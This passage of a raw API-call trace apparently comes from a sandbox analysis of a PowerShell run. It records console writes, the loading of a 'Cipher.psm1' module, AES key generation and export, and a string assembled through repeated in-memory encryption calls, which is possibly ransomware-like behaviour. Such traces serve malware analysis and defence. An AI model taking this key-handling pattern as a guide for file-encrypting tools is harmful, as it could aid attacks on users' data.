lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.379] GetConsoleOutputCP () returned 0x1b5 [0136.379] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.379] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.380] GetConsoleOutputCP () returned 0x1b5 [0136.380] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.380] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.381] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ac5cd0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ac5cd0*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.381] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.381] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.385] GetConsoleOutputCP () returned 0x1b5 [0136.386] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.386] GetConsoleOutputCP () returned 0x1b5 [0136.386] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.386] GetConsoleOutputCP () returned 0x1b5 [0136.387] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.387] GetConsoleOutputCP () returned 0x1b5 [0136.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.388] GetConsoleOutputCP () returned 0x1b5 [0136.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.388] GetConsoleOutputCP () returned 0x1b5 [0136.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.388] GetConsoleOutputCP () returned 0x1b5 [0136.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.389] GetConsoleOutputCP () returned 0x1b5 [0136.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.389] GetConsoleOutputCP () returned 0x1b5 [0136.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.389] GetConsoleOutputCP () returned 0x1b5 [0136.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.390] GetConsoleOutputCP () returned 0x1b5 [0136.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.390] GetConsoleOutputCP () returned 0x1b5 [0136.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.390] GetConsoleOutputCP () returned 0x1b5 [0136.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.391] GetConsoleOutputCP () returned 0x1b5 [0136.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.391] GetConsoleOutputCP () returned 0x1b5 [0136.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.391] GetConsoleOutputCP () returned 0x1b5 [0136.392] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.392] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.392] GetConsoleOutputCP () returned 0x1b5 [0136.392] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.392] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.392] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ac7a74*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ac7a74*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.393] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.393] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.397] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.397] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.397] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.398] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.399] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0136.399] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849b8) returned 1 [0136.399] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.399] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.399] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ad13d0, pdwDataLen=0x99ae894 | out: pbData=0x6ad13d0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.399] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x1360\x6ad\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667") returned 0x0 [0136.400] SysStringLen (param_1="") returned 0x8 [0136.400] SysStringLen (param_1="A") returned 0x8 [0136.400] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.400] SysStringLen (param_1="\x830a\xe466\x85d8\x5732\xf0d2\x63f2\x6cc1\x4b6") returned 0x8 [0136.400] SysStringLen (param_1="\x830a\xe466\x85d8\x5732\xf0d2\x63f2\x6cc1\x4b6") returned 0x8 [0136.400] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.400] SysStringLen (param_1="AR") returned 0x8 [0136.400] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.400] SysStringLen (param_1="\xdb86\xb6c\xde95\x8481\x953e\xeeff\x2150\xc154") returned 0x8 [0136.400] SysStringLen (param_1="\xdb86\xb6c\xde95\x8481\x953e\xeeff\x2150\xc154") returned 0x8 [0136.400] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.400] SysStringLen (param_1="ARz") returned 0x8 [0136.400] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.400] SysStringLen (param_1="\x16ea\x35cd\xaade\xd3f6\x8773\x5e7a\xcfd1\xc35b") returned 0x8 [0136.401] SysStringLen (param_1="\x16ea\x35cd\xaade\xd3f6\x8773\x5e7a\xcfd1\xc35b") returned 0x8 [0136.401] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="ARzJ") returned 0x8 [0136.401] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="\xa74a\xe9aa\xe9d5\x4b1b\xf10b\x3c88\xdb2c\x2328") returned 0x8 [0136.401] SysStringLen (param_1="\xa74a\xe9aa\xe9d5\x4b1b\xf10b\x3c88\xdb2c\x2328") returned 0x8 [0136.401] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="ARzJw") returned 0x8 [0136.401] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="\x4484\x43ea\x58b0\x378a\x78df\xb0ca\x32f6\xf6fe") returned 0x8 [0136.401] SysStringLen (param_1="\x4484\x43ea\x58b0\x378a\x78df\xb0ca\x32f6\xf6fe") returned 0x8 [0136.401] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="ARzJwl") returned 0x8 [0136.401] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="噘믘鎏遤欂쾘൦꾋") returned 0x8 [0136.401] SysStringLen (param_1="噘믘鎏遤欂쾘൦꾋") returned 0x8 [0136.401] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="ARzJwla") returned 0x8 [0136.401] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="\x3a72\x9c0c\x868\x6d2b\x2537\x6a88\x61c3\x4004") returned 0x8 [0136.401] SysStringLen (param_1="\x3a72\x9c0c\x868\x6d2b\x2537\x6a88\x61c3\x4004") returned 0x8 [0136.401] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.401] SysStringLen (param_1="ARzJwlal") returned 0x8 [0136.402] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.402] SysStringLen (param_1="尽倄넥릌뀑뫭뚶") returned 0x8 [0136.402] SysStringLen (param_1="尽倄넥릌뀑뫭뚶") returned 0x8 [0136.402] SysStringLen (param_1="尽倄넥릌뀑뫭뚶") returned 0x8 [0136.402] SysStringLen (param_1="尽倄넥릌뀑뫭뚶") returned 0x10 [0136.402] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.402] SysStringLen (param_1="ARzJwlal1倮쉭뢊Ⓘꒄ６虥") returned 0x10 [0136.402] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x883b\xa9da\x84a0\xf307\x6e36\xf18\xc46a\xb77a") returned 0x10 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x883b\xa9da\x84a0\xf307\x6e36\xf18\xc46a\xb77a") returned 0x10 [0136.403] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="ARzJwlal1f쉭뢊Ⓘꒄ６虥") returned 0x10 [0136.403] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x64a\xb9c7\x31fd\xa87e\xdb64\x9da0\x5701\xc74e") returned 0x10 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x64a\xb9c7\x31fd\xa87e\xdb64\x9da0\x5701\xc74e") returned 0x10 [0136.403] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="ARzJwlal1fn뢊Ⓘꒄ６虥") returned 0x10 [0136.403] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\xf10a\x20a9\x3e53\x90ca\xd73a\xebf7\x84b2\x3a4d") returned 0x10 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\xf10a\x20a9\x3e53\x90ca\xd73a\xebf7\x84b2\x3a4d") returned 0x10 [0136.403] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="ARzJwlal1fn0Ⓘꒄ６虥") returned 0x10 [0136.403] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x4a33\x968c\xd020\xdc48\x8074\x7b9a\xf97e\xfab2") returned 0x10 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x4a33\x968c\xd020\xdc48\x8074\x7b9a\xf97e\xfab2") returned 0x10 [0136.403] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="ARzJwlal1fn0yꒄ６虥") returned 0x10 [0136.403] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.403] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\xfa83\x3db9\x5502\x60bd\xdb30\x5e72\x3646\x1d93") returned 0x10 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\xfa83\x3db9\x5502\x60bd\xdb30\x5e72\x3646\x1d93") returned 0x10 [0136.404] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.404] SysStringLen (param_1="ARzJwlal1fn0yt６虥") returned 0x10 [0136.404] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x36c5\x1d34\x85c5\x7f01\xd1ae\x4212\xff12\xeae7") returned 0x10 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x36c5\x1d34\x85c5\x7f01\xd1ae\x4212\xff12\xeae7") returned 0x10 [0136.404] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.404] SysStringLen (param_1="ARzJwlal1fn0yte虥") returned 0x10 [0136.404] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x5fd3\xb048\x7c08\x25f5\x7af\x632\x8a24\x6d53") returned 0x10 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x5fd3\xb048\x7c08\x25f5\x7af\x632\x8a24\x6d53") returned 0x10 [0136.404] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.404] SysStringLen (param_1="ARzJwlal1fn0yten") returned 0x10 [0136.404] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a") returned 0x10 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a") returned 0x10 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a") returned 0x10 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a") returned 0x18 [0136.404] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.404] SysStringLen (param_1="ARzJwlal1fn0ytens팲뎅ᵺᯘু짹") returned 0x18 [0136.404] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.404] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xdaf5\x8d5d\x7d77\x3d0b\x57be\x8dcf\x581c\x6113") returned 0x18 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xdaf5\x8d5d\x7d77\x3d0b\x57be\x8dcf\x581c\x6113") returned 0x18 [0136.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="ARzJwlal1fn0ytens/뎅ᵺᯘু짹") returned 0x18 [0136.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xb402\x6164\xf680\x2bad\xe8fa\x4548\x13f0\x56b1") returned 0x18 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xb402\x6164\xf680\x2bad\xe8fa\x4548\x13f0\x56b1") returned 0x18 [0136.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="ARzJwlal1fn0ytens/Mᵺᯘু짹") returned 0x18 [0136.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xa965\x5bbe\x643b\x39a8\x4fae\x47b3\xe2ac\x8798") returned 0x18 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xa965\x5bbe\x643b\x39a8\x4fae\x47b3\xe2ac\x8798") returned 0x18 [0136.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="ARzJwlal1fn0ytens/Mlᯘু짹") returned 0x18 [0136.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xda39\xf2fc\x763b\xddb4\x986e\xbea2\xfe56\x451f") returned 0x18 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\xda39\xf2fc\x763b\xddb4\x986e\xbea2\xfe56\x451f") returned 0x18 [0136.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXু짹") returned 0x18 [0136.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x2fcd\x3647\x8362\x591f\x5adf\x2fe7\x9c90\x2e2") returned 0x18 [0136.405] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x2fcd\x3647\x8362\x591f\x5adf\x2fe7\x9c90\x2e2") returned 0x18 [0136.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.405] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiু짹") returned 0x18 [0136.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x65fb\x26f0\xb883\xecdc\x2574\x78a3\xd8e0\x714f") returned 0x18 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x65fb\x26f0\xb883\xecdc\x2574\x78a3\xd8e0\x714f") returned 0x18 [0136.406] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.406] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiY짹") returned 0x18 [0136.406] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x2ff7\x4be2\x6b8c\xf93f\xaeb0\x9679\x25d6\x7a04") returned 0x18 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x2ff7\x4be2\x6b8c\xf93f\xaeb0\x9679\x25d6\x7a04") returned 0x18 [0136.406] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.406] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo") returned 0x18 [0136.406] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b") returned 0x18 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b") returned 0x18 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b") returned 0x18 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b") returned 0x20 [0136.406] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.406] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8템ퟍ") returned 0x20 [0136.406] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.406] SysStringLen 